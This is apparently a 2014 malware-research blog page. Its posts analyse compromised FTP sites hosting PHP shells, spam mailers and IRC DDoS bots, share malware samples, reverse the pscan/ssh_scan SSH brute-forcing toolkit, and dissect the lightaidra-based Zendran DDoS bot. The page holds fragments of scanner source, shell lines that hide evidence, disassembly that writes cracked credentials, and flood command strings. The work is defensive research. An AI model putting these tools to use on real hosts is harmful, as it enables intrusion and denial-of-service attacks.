Saturday, May 31, 2014

A journey to abused FTP sites (story of: Shells, Malware, Bots, DDoS & Spam) - Part 1

This writing is dedicated to fellow sysadmins all over the networks in this globe, who work hard keeping internet services running smoothly and help to clean the bad stuff, you rocks! Respect!
If you want to see the part of the writing that contains many DDoS source code disclosure, jump to the 2nd part in here -->>[Part2]

The background

If you are having an experience as a system administration in an ISP, IDC or etc internet portal, security issues is part of the job description; you'll deal with IDS alerts, IR cases, and some claims to follow in your watched network territory. In my day work, I am receiving the cases escalated to my mailboxes from sysadmins of various services for those cases. If you are a "sysadmin" maybe this post will be a fine reading to you.

This post is a story of a reported case, is also "sharable", thank you to our friend "Yin", a smart & efficient sysadmin which kindly tipping me suspicious sites suspected serving malicious service / activities, and allowing MMD to post the case here. According to Yin, the information was "extracted" from IDS information as an attempted PHP RFI attacks.

I was reported 6 cases in a form of 6 urls, I digged in to every url to find out the whole scheme of the threat, and as result, is rather big in volume and it looks it will take too long to analyze & write all of them, so I split the post into two parts Part 1 and Part 2, this is the Part one contains the 3 abused FTP sites analyzed, with the details that can be read from following sections. Enjoy!


I accessed the malicious sites detected as per shown in the below screenshots, and will call them as Case 1,2 and 3.

Case #1: PHP & ASP Spam Form, PHP Shell & Server Info Grabber Form.

I started with the first screeshot above. The first case, base on the deduction with the help of time stamps we can see that the first attempt of the hacker used is to upload the PHP WebShell in an obfuscated PHP code, used for uploading and compromising directories from the HTTP side with what it seems "like" the modded PHP shell:

The obfuscated codes are like:

Please noted the logic used to obfuscate the code in the marked part. We sees file of: config1.php, menu.php, help.txt contains these codes. I decoded this offline, in a shell operation using the PHP CLI in debug mode to dump the stdout into files (see the test*.html listed in the picture above? Those are the outputs) to be viewed / executed in my local environment, therefore I won't risk any unnecessary traffic when examining the object. A tip than can bring ideas to sysadmins to solve this fast & secure.

The information grabber, is spotted in the the form of uname, date (time zone check), current user and system environment, as per executed file x.php below:

THis data is not only to be shown in Web (Browser) UI output, but also being mailed to the bad actor, as he kindly left his email address :-)) in the source code snipped here:

And thankfully to his generosity, I gladly took a hint and search for more, found some more in xx.php:

I think God is very kind to me :-)

The next file that's been executed is this env.php, which looks like a PHP mailer tester codes..

The question is always WHY?.. Below is the explanation, pls find the rest of PHP script extracted data and guess what are they? :-)

Yes, these are SpamMailer in Web GUI, the spammer can input the Recipients, Subject, some has the Sender options, and then the BODY which is supporting to the HTML format. Very well coded. It is enough to send tons of spams.
The variation of the spambots design is showing that this site has been used several times by several groups hitting many spam campaigns. It is not surprising if we find the lookup address of this site's domain below to be in the blacklist:

This spam PHP is coded very well, below is the code to show attempt in faking X-header of email:

Is that all that we found? No, the spammer is not only relying on PHP as CGI engine for running the spam interface, but they are preparing the ASP program too!! Really?? Below is the snips:

So in this site we learn about the compromised FTP account was abused to be uploaded by PHP Web Shell, to upload PHP SpamBot. The things that we can see about the bad actor is from Brazil, and some email addresses that can lead to the bad actors.

Let's see another FTP site..

Case #2: The case of PHP IRC Bot with "direct" & "ELF+WinPE x64 client" DDoS tool

Let's move on to the second case. The files uploaded by the attacker are so few, we have 2 PHP files, then, one file that looks as WinPE (*.exe) file and an unknown file called "std". You can fire hexeditor or firing "file" command to know that the "std" file is an ELF x64 file. So what's this all about? Let's take a look into the PHP file first..

The both php files are actually same coded file. So I peek the wonka.php, found how the binaries was downloaded, by the function as per shown below:

Well this code roughly means, if they found the system is Windows it'll execute the CMD to run ftp command to download the WinPE binary, or else it will download the ELF binary with the "wget" command & save it with read-write-execution permission by the world, so anyone who access it can do anything he wants. Below is the snipped of the binaries:

What happened next is the execution of these binaries as per described in the below code. It wasn't that hard to read this shows options of running the PE or the ELF that was previously downloaded.

What are those binaries? A simple "string" command in UNIX..

..can show you the string written as:

"Hitting %s on port %d for %s seconds"
No doubt, is a common sign of the DDoS tool.
By the time I tweeted about this binary the detection ratio in VT is zero:

Other than using the binary for flood(DoS), there is also the combination of flood/DoS function found in the code as per below snapshots:

Further observation of the PHP code you can find that the PHP is actually the IRC Bot, below is the connection that we currently trail to the actors :-)

If you dig deeper to the logic of Flood UDP in the script, it has some interesting additional attack method to help the mitigation.
If you wonder about the detection ratio of these PHP files, see these links: [1] & [2]

Let's close this case here and go to another site :-D

Case #3: PHP Pbot(IRC) & Perl Stealth Shellbot(IRC) with their WinPE payloads

I went to the 3rd case. In this site we can find two IRC bots installed: the Pbot (PHP) and Stealth ShellCode (Perl). It looks like the site itself is started to be injected by malicious stuff from February 25-26 this year, and the Perl ShellBot was first uploaded, following by the Pbot. In these session we see WinPE payloads was downloaded using the download scripts. And then following by the compromising in March, April and May (the month this post is written) with the same M.O., using different WinPE binaries as payloads.

We exposed PHP Pbot few times in our blog already and the IRC Stealth Shellbot also a publicly known well perl bot, so nothing new about these two bots to write, and below is the screenshot of the irc connection information used to run these bots:

You can see there are some files is having the same bot codes as these two, indicating the same bad actor is utilising this site over and over for their evil purpose.

The payloads & scripts were downloaded by the simple methods, here I snipped some code used to download:
What about the WInPE (*.exe) binaries? What are they?
Below is the hashes, is available all in VT.
I will not explain in details of analysis of these samples, but will be straight forward with the evidence of internet traffic they made, as following notes:

"wo1.exe", "r.exe", "r1.exe" pingbacked to or, both in A and sending callback encrypted data of inspected host:

Same works spotted with "win32c.exe" which is trying to reach dead domain:

Then "tc.exe" and "test.exe" are connecting SMTP (with TLS AUTH) to send infected environment data via ( with the recorded traffic below:

The downloads of Loader.exe, Installer.exe, in.exe were executed by the binary "wo.exe" (which was downloaded by wi.exe) and "wi.exe" as per recorded PCAP below:

It downloads RAR.exe too actually during infection in client's PC.

Loader.exe sends the POST request to the GATES to download more binary file from, as per below PCAP:

following with the regular pokes to CNC in same IP:

And in the end the "in.exe and "installer.exe" are BitCoin Miner applications.

Conclusion and Samples

These cases' handling explain more options to dissect, mitigate and investigate the threat by performing the quick analysis of the sites that was popped up in the IDS alert, it will give us more IP addresses, email addresses, the account of the bad actors and their domains to tackle down this infection. So please do the same if make a thorough investigation upon a single URL that came to your watch, you will help to clean our internet by doing that.

Samples sharing will be is posted in here, all of it. Please give time for me to prepare the shares and cleaning the mess I made for this analysis first. Here's the link for downloading samples from these 3 cases (Part 1)-->[Enter Secure Code: 85980]. The archive's password is the generic common ones.

Please noted we are starting test run secure cushion for the external link, with the code provided in the link part (see the above's download link), as per announced here:

I will continue to add the report of next sites later, so stay tune!
If you like this writing and find it useful, please kindly share to others too, your share is helping others to be more aware of these threats.

To be contined to be Part 2 - where we reveal more of latest IRC bot fnctions, DDoS attack codes used by those bots and evasion of Cloudflare, the anti DDoS logic, access is here-->>[Part2]


Wednesday, May 28, 2014

Sample sharing for #MalwareMustDie recent ELF analysis

Samples is shared for research and raising the detection ratio purpose, not for usage for bad purpose. Password is the known "generic" one, so if you ask for these archives' password I will assume that you are not in malware research field :-)
  Analysis  Download URL
  SSH Attack Bruters ELF (link)  Link
  China Backdoor Trojan2 ELF (link)  Link
  Multi Platform Linux Router DDoS ELF (link)  Link
  .SO LD_PRELOAD Backdoor ELF (link)  Link
  Bonus! China Backdoor Trojan1 ELF (link < read comment)  Link

Enjoy the shares! #MalwareMustDie!

Friday, May 23, 2014

MMD-0023-2014 - Linux/pscan & Linux/sshscan: SSH bruter malware: A payback with attacker's email disclosure.

For about 2 weeks I analyzed the SSH login brute attacks that came into my dummy service, as per shown in the report in this link-->[Pastebin], and compiled it to graphical report of source IP of attacker in here-->[MMD Stat Site].

Even now, I am still collecting a good share of amount attacker log as per PoC'ed in below video, and toying with many configuration to learn the nature of the attack itself:

For the summary, in my observation the attacks are showing the characteristic as per below:

Using the automation for bruting SSH login account
Reconnecting to the host upon disconnected to re-try to login
Came from varied IP address, but same attack pattern
Fast in re-connecting (mili-secs!), showing an automation lightweight tools used
Coming from compromise sites/servers
About 70% source IP addresses came from nearest range, in my case: China

It was so difficult to predict the nature of attack in the beginning due to the limited reference, but IF you take time and analyze the pattern of attack well after some longer time with the good volume of logs, you will see that even majority attackers came from a certain country's IP, yet, IP with source from other countries are using the exactly similar pattern, some of these pattern are so typical like:

Firstly, aiming ssh version 1 by default
Seeking the allowed login username & retries to it
"Admin" and "root" are "heavily" aimed
All attacks has similar special characters password, suggesting wordlist used

So it is clearly that the attack were performed by the same group/community/actors, or by using same tools, or manually conducted using the exactly same methodology. Knowing how the crooks work, the second option will likely the answer, and, understanding the above attack characteristic details we can start to hunt these "bruter scheme" tools used, with hoping the bonus of the actor's info grabbed in the same time as the payback. Thank's to the dedication of our team mate, we successfully "seized in action" many of recent tools used and I found the perfect match for the weapon they used to performed this attack. I can't explain in details how we managed to "hunt" the actor's environment for the security purpose, but we peel its scheme very deep, so please see the next section for the details :-)

Bulk port scanner ELF "pscan" & a companion ELF "scanssh" (or ssh_scan) SSH login bruter

After some investigation into the recent "seized tools" in action. It came to the conclusion that the attacks is "powered" by the mass port scanner hack tool called "pscan" and follows by "scanssh" (or ssh_scan) as the SSH login bruter hack tool. Below are some of the VT detections of pscan variants (version 1 and 2) .

A variant of version pscan version 1 (original code):-->[link]

SHA256: 50bd83192d03f0b1adcbcabe34fb24e364237b04d91cec74ad4542129f506bbf
File name: pscan
Detection ratio: 1 / 52
Analysis date:  2014-05-22 23:14:15 UTC ( 0 minutes ago ) 

This is the recent variant of pscan version 2, the modded version:-->[link]

SHA256: 4422633b12627c70246d868d86cabd6702908b79f3826bcf9222ab20501cb394
File name: pscan2
Detection ratio: 21 / 51
Analysis date: 2014-05-22 23:13:06 UTC ( 0 minutes ago ) 
As the bonus :-) I pasted the "jinxed" source code of this version two in the VT comment :D for the research and mitigation purpose.

Accompanied SSH login bruter tool ELF "scanssh" or "ssh_scan". In VT is as per below:-->[link]

SHA256: 93df64cc0ff902ad1e80ada56023610ec2c44c3ecde2d36d37a3a748c7fd42bd
File name: ssh-scan
Detection ratio: 37 / 52
Analysis date:  2014-05-23 00:16:32 UTC ( 0 minutes ago ) 

How ELF "pscan(v2 and v1)" works

Since we grabbed the source code :-D - No need to reverse this one, so I am making explanation from the recent discovered C code itself.
This tool is to be executed as per below:

Usage: pscan(n)   [c-block]
it will check the file "a" in the same directory:
if (!(outfd = fopen(outfile, "a")))
The "a" script file is the starter script, control the overall flow of malicious process. In the pscan version 2, the "a" script contains instruction to scan the port 22 of the fed target listed in "$1" (the first argument that the attacker will type, according to the Usage instruction above, i.e. as per executed command line below:
././pscan2 $1 22
Executed, p2scan version 2 is coded to check & handle the flock of IPs inputted by the fed arguments:
 memset(&ip, 0, 20);
 sprintf(ip, "%s.%d.%d", argv[1], bb, cip);
 connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
 if (connlist[i].addr.sin_addr.s_addr == -1)
     fatal("Invalid IP.");
 connlist[i].addr.sin_family = AF_INET;
 connlist[i].addr.sin_port = htons(atoi(argv[2]));
 connlist[i].a = time(0);
 connlist[i].status = S_CONNECTING;
it makes output, in stdout basis as per below snips:
cip = 0;
for (x = 0; x < strlen(last); x++)
memset(&last, 0, sizeof(last));
snprintf(last, sizeof(last) - 1, "%s.%d.* (total: %d) (%.1f%% done)"
    argv[1], bb, tot, (bb / 255.0) * 100);
printf("%s", last);
And always logging into a dropped scan.log text file, by default:
if (argc == 3)
    snprintf(outfile, sizeof(outfile) - 1, "scan.log", arg
else if (argc >= 4)
    snprintf(outfile, sizeof(outfile) - 1, "scan.log", arg
    bb = atoi(argv[3]);
    if ((bb < 0) || (bb > 255))
        fatal("Invalid b-range.\n");
On the other hand, for the pscan version 1, instead the the following execution of simple line, it needs different execution method in command (and its argument) to create the desired mfu.txt as the text of IP address feed to be passed to the "scanssh" login bruter program afterward.
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
In the most cases, the "scan.log" file will be deleted in the "a" script afterwards to avoid evidence, i.e.:
mv scan.log # together w/several etc files..
So the port scanner's job was done and next, in the end, the "a" script executes the "scanssh" or "ssh_scan" tool, which is a very well-known ELF (Linux) shell hack tool for simulating the SSH connection (compiled with OpenSSL & Blowfish support too) that can be used to scan, compromise & gain access to attack the remote system's SSH service.

Additional: PoC of malware attack in progress

We finally can gain this PoC of the current case, an attack in progress and recorded well, please see the below video:

How SSH bruter ELF "scanssh" (or ssh_scan) works

The codes of the "scanssh" or "ssh_scan" tool is huge. It was compiled with the OpenSSL support (tested), and looks supporting to Blowfish authentication too (untested), it will be long to cover it all so I will be specific to the scope of this post only. In our "pscan" case, the ssh_scan is used mainly to check for the vulnerable SSH login and extract the output in a text file. Since there is no source code (yet), below is reversing snips of ssh_scan binary that reads the range IP (from the pscan) and wordlist from a text file and extracting the result in another text file. Understanding this scheme will help others to search-grep/scan and dissect the threat for the future.

This is the function to read the list of IP addresses, as you can also see, the pscan created mfu.txt was seeked:

";; Reversed section: .text ADDR: 0x804864D-0x804867B"
;; File: "ssh_scan" 93df64cc0ff902ad1e80ada56023610ec2c44c3ecde2d36d37a3a748c7fd42bd
;; asm:
0x804864D   sub     esp, 8
0x8048650   push    offset aR ; contains: "r"
0x8048655   push    offset aMfu_txt ; contains: "mfu.txt"
0x804865A   call    sub_809A210
0x804865F   add     esp, 10h
0x8048662   mov     [ebp+var_C], eax
0x8048665   cmp     [ebp+var_C], 0
0x8048669   jnz     short loc_8048681
0x804866B   sub     esp, 0Ch
0x804866E   push    offset aUndeIMfu_txt ; contains: "Unde-i mfu.txt\n"
0x8048673   call    sub_8099CA0
0x8048678   add     esp, 4
0x804867B   push    eax
And below is the function to read list of password to be bruted, as you can see it seeks the pass_file text file contains wordlist :
";; Reversed section: .text ADDR: 0x80486F0-0x804873B"
; File: "ssh_scan" 93df64cc0ff902ad1e80ada56023610ec2c44c3ecde2d36d37a3a748c7fd42bd
; asm:
0x80486F0    call    sub_80A9340
0x80486F5    test    eax, eax
0x80486F7    jnz     loc_804886B
0x80486FD    mov     ds:dword_811A684, 0
0x8048707    sub     esp, 8
0x804870A    push    offset aR ; contains "r"
0x804870F    push    offset aPass_file ; contains "pass_file"
0x8048714    call    sub_809A210
0x8048719    add     esp, 10h
0x804871C    mov     [ebp+var_424], eax
0x8048722    cmp     [ebp+var_424], 0
0x8048729    jnz     short loc_8048741
0x804872B    sub     esp, 0Ch
0x804872E    push    offset aUndeIPass_file ; contains "Unde-i pass_file\n"
0x8048733    call    sub_8099CA0
0x8048738    add     esp, 4
0x804873B    push    eax
As per described in above working summary, this is the function to write result in the file vuln.txt:
";; Reversed section: .text ADDR: 0x80484C2-0x804852D"
; File: "ssh_scan" 93df64cc0ff902ad1e80ada56023610ec2c44c3ecde2d36d37a3a748c7fd42bd
; asm:
0x80484C2    sub     esp, 8
0x80484C5    push    offset aA  ; contains:  "a+"
0x80484CA    push    offset aVuln_txt ; contains: "vuln.txt"
0x80484CF    call    sub_809A210
0x80484D4    add     esp, 10h
0x80484D7    mov     [ebp+var_9C], eax
0x80484DD    sub     esp, 8
0x80484E0    push    [ebp+arg_8]
0x80484E3    push    [ebp+arg_4]
0x80484E6    push    [ebp+arg_0]
0x80484E9    lea     eax, [ebp+var_88]
0x80484EF    push    eax
0x80484F0    push    offset aSSSS ; contains: "%s%s:%s:%s\n"
0x80484F5    push    [ebp+var_9C]
0x80484FB    call    sub_8099C70
0x8048500    add     esp, 20h
0x8048503    sub     esp, 0Ch
0x8048506    push    [ebp+arg_8]
0x8048509    push    [ebp+arg_4]
0x804850C    push    [ebp+arg_0]
0x804850F    lea     eax, [ebp+var_88]
0x8048515    push    eax
0x8048516    push    offset aSlAmprins___SS ; contains: 
                     "%sL-amPrins... !! ->%s:%s:%s\n"
0x804851B    call    sub_8099CA0
0x8048520    add     esp, 20h
0x8048523    mov     ds:dword_811A680, 1
0x804852D    jmp     short locret_8048545
And the output file format will be as per below text file contains credentials of the successfully compromised system, with noted the prefix "DUP" will appear and stand for "Duplication" in compromised login entries:
DUP user:password:IP_ADDRESS
DUP user:password:IP_ADDRESS
DUP user:password:IP_ADDRESS
Overall snippet of disassembler data is here-->[link]

Nasty tool-set & scheme isn't it? :-|
FYI. Yes, we know now that Romanian coder is behind this attack (explaining the texts in Romanian).
Moving forward, the next section is explaining how we payback these attacker! :D

The Payback: Time for these moronz to sweat!

Knowing the nature of the threat and the technique to fool attacker (thank's to @wirehack), I can grab the email addresses that are used by the hackers to send back the SSH credentials extracted by the ssh_scan to their mailbox, and trust me..these data is on the way to law enforcement right now. Some of the tool-set of pscan & ssh_scan are accompanied by perl IRC bot which revealing some handle name too. To get the email address is actualy very easy. the attacker needs to get the data extracted by the SSH bruter, as per mentioned in reversing part above, the vuln.txt. Basically they just mail (literally, yes, mail!) this file to their malbox :-D
Well this method works very well as I gained about 20+ email addresses of the active bruter actors now.

Hey, bruter skido! It is time FOR YOU to sweat now! Expect some knock on your door! ;-))

I made the video of some of the hack tools we seized (not all, for security matter), to illustrate a how to for law enforcement agencies to detect, where and what exactly the email addresses of the attacker searched in each of the packages used. The video is also to PoC the above analysis with the real result that we can get from the attacker's environment.
Hopefully this detail writing and video will describe the disclosure anatomy of major SSH bruter that keep on coming hitting us in daily basis, to be used as knowledge for all of us to dissect and mitigate this attack in our servers. :-D

Stay save folks! And.. "Thou shalt not hack!"


Thursday, May 22, 2014

Video tutorial to extract, kill, debug & traffic capture ELF .so shared library malware that's using LD_PRELOAD

I post this Video tutorial as a continuation to analysis of recent ELF malware infection that intercepts Linux/FreeBSD system using LD_PRELOAD method (via API) that I wrote in here -->>[MMD Blog]

There are many requests coming and asking me the method to dissect and stopping the infected processes, how to debug, how to extracting the binary from the infected PHP scripts and also how to make a traffic capture of it for analysis purpose. As a UNIX engineer and 100% on the spirit of open source, I think it is important to share this information to fellow engineers/server administrator to be more aware of the threat, and to know how to dissect this or the similar threats that may occur in the future.
Really hope this writing can be used as reference that helps people that really needs it.

Answering the questions asked, I made a a demonstration video with audio explanation (please bear to my English), it's about only 5 minutes in length to show you steps I made to extract the ELF .so malware binaries using the PHP template extraction script that I posted in the previous post of the related threat, to use the automation script to test running the malware in background for tests, to explain a how to stop/killing the running malware process using lsof, grep, kill and unset command respectively, and in the end is to demonstrate a how to debug and capturing the traffic in real time using tcpdump in PCAP file for analysis.

All of the operations demonstrated can be done in FreeBSD or Linux shell in your flavors, and I don't include any reverse engineering information inside of this tutorial. To be noted: Except for the how to in stopping this .SO malware process, for your own security purpose all of the operation mentioned should be performed in the test bed, and please do not connect into global internet for running the traffic capture to avoid leak of your traffic/credential to the bad actors, which is still UP and running (the threat is still "in the wild" right now).

The environment that I used in this video is NOT containing any real alive services or accounts, it was made for the sharing purpose only. All of this information and materials posted here are owned by myself, shared & contributed via MalwareMustDie, NPO to you all. I really don't appreciate and disallow copies of the post without asking permission from myself or MalwareMustDie, NPO beforehand.


Below is the demonstration video in youtube. Here is the source URL -->[youtube]

If you have any thoughts, ideas, questions & suggestions about this tutorial, please feel free to write the comment below this post.

Be safe and enjoy the tutorial! #MalwareMustDie

Sunday, May 18, 2014

MMD-0022-2014 - Zendran, Multi-Arc ELF DDoS (lightaidra ircd base) - Part 1: background, installation, reversing & CnC access

The background

There are a lot of DDoS attacks performed each day. Our systems are also being abused by these, and maybe some of you have the same shares too. MalwareMustDie analysis is focusing on malware, and recently we are raising priority to analysis aiming the UNIX or Linux platform. And, luckily one of the sample dropped this time is the multi-CPU architecture DDoS ELF tool, which is a nice topic to disclose, and we plan to disclosing this threat down to its threat root.

This is the analysis of the DDoS tool that was made based from the C code of IRCd program called Lightaidra, and aiming infection on Linux OS in x86, x64, PPC, MIPS, MIPSEL, ARM, and SuperH architectures, meaning, not only aiming servers but also linux workstations, routers and any related devices that is connecting to the global internet, to be badly utilized as a cyber attack tool to perform DDoS attack. The case is complicated and various in analysis skill set + volume, so to save time, myself and @wirehack7 are on the case to split the writing into 2 (two) parts, I, in this post do the first part contains the background, installation & reversing materials, with aiming the credentials of the CNC,, and behavior & network analysis. And the second part can be read in blog contains the CnC information, IRC details used for attacks , and the bad actor's ID/account investigation (cyber crime case) with the access is here-->[Threat analysis: Zendran ELF DDoS scheme (lightaidra ircd base) | Part 2: CnC & The bad actor]

The installation

Malware was designed to be installed via the hacking attempt that can gain the access to the shell of Linux box. Once the privilege gained, it downloads from the below IP address & URL for the downloader and installer script:


Via a one-liner shell command as per below "code"

The above codes is saving the below installation code to the file in the /var/run:

The one-liner code stated above is actually generated from the "other" shell script that we "successfully" obtained as per below code;

The summary of all these installation scheme are two jobs:
(1) Install ELF binary into a compromised system by modified wget & resolve.conf beforehand..
(2) And..execute the ELF binary, as per the architecture flavor, in the "/var/run" as per snipped data below:

We downloaded all samples and now is in Virus Total for the AV industry to do their part in making signatures to detect this threat, but below I share the x32 and x62 VT link for you:

x32 ELF | link-->[here]

   SHA256: 83c01c36ef5dc4c7faf5abb12e295e9ea43393d4567f8d20b3ad176ac53a7bac
   File name: halfnint
   Detection ratio: 7 / 50
   Analysis date: 2014-05-14 15:03:28 UTC ( 3 days, 1 hour ago )
        Antivirus            Result        Update
   Ad-Aware             Generic.Malware.G!I!!g.3A71DD58     20140514
   BitDefender          Generic.Malware.G!I!!g.3A71DD58     20140514
   Emsisoft             Generic.Malware.G!I!!g.3A71DD58 (B) 20140514
   F-Secure             Generic.Malware.G!I!!g.3A71DD58     20140514
   GData                Generic.Malware.G!I!!g.3A71DD58     20140514
   Kaspersky            HEUR:Worm.Linux.Pilkah.gen          20140514
   MicroWorld-eScan     Generic.Malware.G!I!!g.3A71DD58     20140514

x64 ELF | link-->[here]

   SHA256: 2c26e018c8615e7b8e75b8fa28dbdca6c77074927b5b9ff0a5a9c19ed24721c3
   File name: 74d53ee69bf937cfae11d079c870534f462e2f67.exe
   Detection ratio: 1 / 46
   Analysis date: 2014-05-14 15:03:26 UTC ( 3 days, 1 hour ago )
        Antivirus           Result      Update
   Qihoo-360            Trojan.Generic 20140514

The installation codes of this malware was recorded perfectly by @wirehack7, and you can see it in the video I compiled together with the summary of this section:

Binary Analysis

Since there are some options in the binaries, I picked the most familiar architecture to reverse. In this section (binary analysis), my hope is to crack all of the details related to the binary structure to be used as base in reversing and behavior analysis. Maybe there are also several information that can show us some extra information too. So I begin with the below file as per attributed as per it is during the download:

-rwxr--r--  1 mmd mmd  43671 May 12 06:02 halfnint* | ec5556e3026b98aaf0f0a7d53b1a76d6

Header Details:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                    ELF32
  Data:                     2's complement, little endian
  Version:                  1 (current)
  OS/ABI:                   UNIX - System V
  ABI Version:              0
  Type:                     EXEC (Executable file)
  Machine:                  Intel 80386
  Version:                  0x1
  Entry point address:               0x8048ed0
  Start of program headers:          52 (bytes into file)
  Start of section headers:          35956 (bytes into file)
  Flags:                    0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         8
  Size of section headers:           40 (bytes)
  Number of section headers:         30
  Section header string table index: 27

As per previous written in MalwareMustDie blog posts on ELF analysis cases, NIX Gods are so kind to give us many default tools to analyze the badness. We can search how the binary was compiled by simply firing "file" to get the info below:
LSB executable, dynamically linked (uses shared libs), 
for GNU/Linux 2.6.18, not stripped

I was thinking of the which section to start looking into its headers:
Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]          NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4
  [ 3] NOTE            08048168 000168 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0804818c 00018c 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481ac 0001ac 000400 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080485ac 0005ac 000229 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080487d6 0007d6 000080 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048858 000858 000070 00   A  6   2  4
  [ 9] .rel.dyn          REL             080488c8 0008c8 000008 08   A  5   0  4
  [10] .rel.plt          REL             080488d0 0008d0 0001e8 08   A  5  12  4
  [11] .init             PROGBITS        08048ab8 000ab8 000030 00  AX  0   0  4
  [12] .plt              PROGBITS        08048ae8 000ae8 0003e0 04  AX  0   0  4
  [13] .text             PROGBITS        08048ed0 000ed0 005fec 00  AX  0   0 16
  [14] .fini             PROGBITS        0804eebc 006ebc 00001c 00  AX  0   0  4
  [15] .rodata           PROGBITS        0804eee0 006ee0 0019d0 00   A  0   0 32
  [16] .eh_frame_hdr     PROGBITS        080508b0 0088b0 000024 00   A  0   0  4
  [17] .eh_frame         PROGBITS        080508d4 0088d4 00007c 00   A  0   0  4
  [18] .ctors            PROGBITS        08051950 008950 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08051958 008958 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        08051960 008960 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08051964 008964 0000d0 08  WA  6   0  4
  [22] .got              PROGBITS        08051a34 008a34 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08051a38 008a38 000100 04  WA  0   0  4
  [24] .data             PROGBITS        08051b38 008b38 000014 00  WA  0   0  4
  [25] .bss              NOBITS          08051b60 008b4c 10549c 00  WA  0   0 32
  [26] .comment          PROGBITS        00000000 008b4c 00002c 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 008b78 0000fc 00      0   0  1
  [28] .symtab           SYMTAB          00000000 009124 000ef0 10     29  57  4
  [29] .strtab           STRTAB          00000000 00a014 000a83 00      0   0  1

It came to my choice to pay attention to the opcodes written in .rodata and .text, many of the data from this section will come up in the reversing part. While the .dynsym contains the shared library to lead us to .gnu_version which glibc dependency version can be seen, these both information will be important for the behavior analysis later on:
 Addr: 00000000080487d6  Offset: 0x0007d6  Link: 5 (.dynsym)
  000:   0 (*local*)       2 (GLIBC_2.0)     3 (GLIBC_2.0)     4 (GLIBC_2.1)  

By the way, we need to know also which shared library used for behavior test too so I peeked into the dynamic section at the offset 0x8964 that contains 21 entries with having the shared libraries as follows:
  Tag        Type                Name/Value
 0x00000001 (NEEDED)            Shared library: []
 0x00000001 (NEEDED)            Shared library: []

Additionally, the header .symtab is showing the information of the each glibc function called, original function used and the project'Ss C files as per shown below:

Oh, wow, this is a very good information to know, later on we can compare some source codes of malware to know how is it supposed to work actually. In the mean time, let's moving on...

At this point I didn't look up to the binary strings yet, but sometimes tempted to "play luck", I fired the URL string searching made by Joxean Koret and found the CNC IP, what a lucky day! :-)

[0x00000000]> url
h00p:// // url is masked
[0x00000000]> chkurl
Checking ... UP

OK..I think I almost got everything I need to start to reverse here. In reversing the binary, fyi, I used my FreeBSD CLI (maaany tools can be used and works very fast, like hd, xxd, r2, pyew, etc) with OS X GUI reversing tools if I stuck on something, for faster trails, but I still need the Windows to write this blog and picture setting, for my eyes problem.
The details of reversing are in the next section.. Hang on!

The ELF Reversing

String analysis

Trying hard not to waste my time, since I can guess the nature of this malware, I went to the string analysis (by firing "strings") and grouped some client connection to server, in IRC protocol commands, like:

0xA67B   0xA67B     login
0xA81D   0xA81D     uport
0xA681   0xA681     cmd_login
0xAA6E   0xAA6E     cmd_logout
0xAA14   0xAA14     cmd_setchan

We won't know whether is this a server or client version until we bumped into below commands actually.. OK, it is a client one:
0xA9C1   0xA9C1     channel
0xA6CF   0xA6CF     connect_to_irc
0xA87C   0xA87C     create_irc_servlist
0xA823   0xA823     irc_requests
0xA8A8   0xA8A8     pub_requests
0xA78C   0xA78C     cmd_advscan_getpass
0xA861   0xA861     cmd_advscan_recursive
0xA895   0xA895     cmd_advscan_random
0xA9F3   0xA9F3     cmd_advscan_join
0xAA14   0xAA14     cmd_setchan

Is it the CLI base IRC program? or practically a coded-to-be an IRC BOT? This is important for checking the malicious IRC bot binary, to find the below commands as hints as bots:
PART #Auth
JOIN #LA :ping

Further, is it malicious? The below commands says more than words, I think we are dealing with flooder or booter here:
ADDR 0xA6C1   0xA6C1     flood
ADDR 0xA781   0xA781     ngackflood
ADDR 0xA92C   0xA92C     synIP
PRIVMSG %s :* .spoof   - set the source address ip spoof\n
PRIVMSG %s :* .synflood    - tcp syn flooder\n 
PRIVMSG %s :* .ngsynflood     - tcp ngsyn flooder (new generation)\n
PRIVMSG %s :* .ackflood    - tcp ack flooder\n 
PRIVMSG %s :* .ngackflood     - tcp ngack flooder (new generation)\n

And by the way this is the version of the original code used, someone looks forgot (or don't know how) to strip these strings..:
Header: .rodata: Add/Offset: 0804FD64 0000002A 
PRIVMSG %s :[version] lightaidra 0x2012.\n  


I was being asked to do whatever I can do to "reversing" the IRC credentials used by this threat's actor and other details helped to crack the CNC,to be used for the CNC & IRC bot herder's investigation. Well, OK. I opened the binary right away. The main.c file trace shown above hinted me to seek main()located in .text:08048F84 start from these opcodes:

.text:08048F84 public main
.text:08048F84 main proc near
.text:08048F84 var_30 = dword ptr -30h
.text:08048F84 var_14 = dword ptr -14h

Trolling it down, to know how the program call "daemonized" function (+hooking its pid, usual daemon stuff)
.text:08048F85        mov     ebp, esp
.text:08048F87        and     esp, 0FFFFFFF0h
.text:08048F8A        push    ebx
.text:08048F8B        sub     esp, 2Ch        ; void *
.text:08048F8E        call    daemonize
.text:08048F93        call    pidprocess
.text:08048F98        mov     ds:counter, 0

It jumped to loc_8048FD0:
.text:08048FA1        jmp     short loc_8048FD0

Which only checking the loop counter and jump to call function to check IRC server list
.text:08048FDD        mov     ds:counter, 0
.text:08048FE6        call    create_irc_servlist

Oh my, this is interesting since we can figure the server (CnC)of this IRC client, so trailing it down to the create_irc_servlist(), reversed the value back and got the data below:
.text:0804994E public create_irc_servlist
.text:0804994E create_irc_servlist proc near
.text:0804994E var_228         = dword ptr -228h
.text:0804994E var_224         = dword ptr -224h
